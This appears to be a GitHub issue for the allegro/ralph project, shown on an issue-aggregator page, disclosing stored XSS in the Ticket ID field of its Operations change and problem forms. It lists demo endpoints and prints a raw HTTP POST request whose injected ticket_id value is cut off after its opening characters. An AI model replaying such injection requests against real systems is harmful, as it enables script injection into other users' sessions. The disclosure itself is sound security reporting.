allegro / allegro/ralph

Multiple Stored XSS in Operations - Ticket ID

未关闭
#3,720 0 条评论 0 个 reaction 已指派 0 人 在 GitHub 查看
主要语言
Python
星标
2.5k
派生
593
平均合并
2 天 9 小时
30 天内合并 PR
6

描述

### Steps to reproduce

Multiple stored XSS have been found by @nullvoiddeath and myself (@az0mb13) in Operations inside Ticket IDs in Changes and Problems. There may be more vulnerable endpoints similar to this.

![image](https://user-images.githubusercontent.com/4147463/160289653-64f5ac52-6f8f-4426-85e1-e986e2327863.png)

![image](https://user-images.githubusercontent.com/4147463/160289602-879a31ed-9e34-4ce0-bdc5-85ddc8563c4f.png)

### Vulnerable Endpoints
* https://ralph-demo.allegro.tech/operations/change/add/ (in Ticket ID)
* https://ralph-demo.allegro.tech/operations/problem/add/ (in Ticket ID)

### Vulnerable Request

```http
POST /operations/problem/103/ HTTP/1.1
Host: ralph-demo.allegro.tech
Cookie: csrftoken=6XYt9UzJvP90FzMrP2Nx47eUCke00wFF; sessionid=x0wro2sydzt15c0hqq818i6jjg8o5mj0
Content-Length: 1369
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://ralph-demo.allegro.tech
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuZzJBXlfBNAFEASD
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Gpc: 1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://ralph-demo.allegro.tech/operations/problem/103/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="csrfmiddlewaretoken"

6XYt9UzJvP90FzMrP2Nx47eUCke00wFF
------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="type"

201
------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="title"

Test
------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="status"

4
------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="reporter"

------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="assignee"

------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="description"

------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="ticket_id"

">

贡献指南

打开贡献指南

评估

这个 Issue 还没有评估数据。

把新 issue 发到你的邮箱

精选适合新手参与的 GitHub issue 摘要。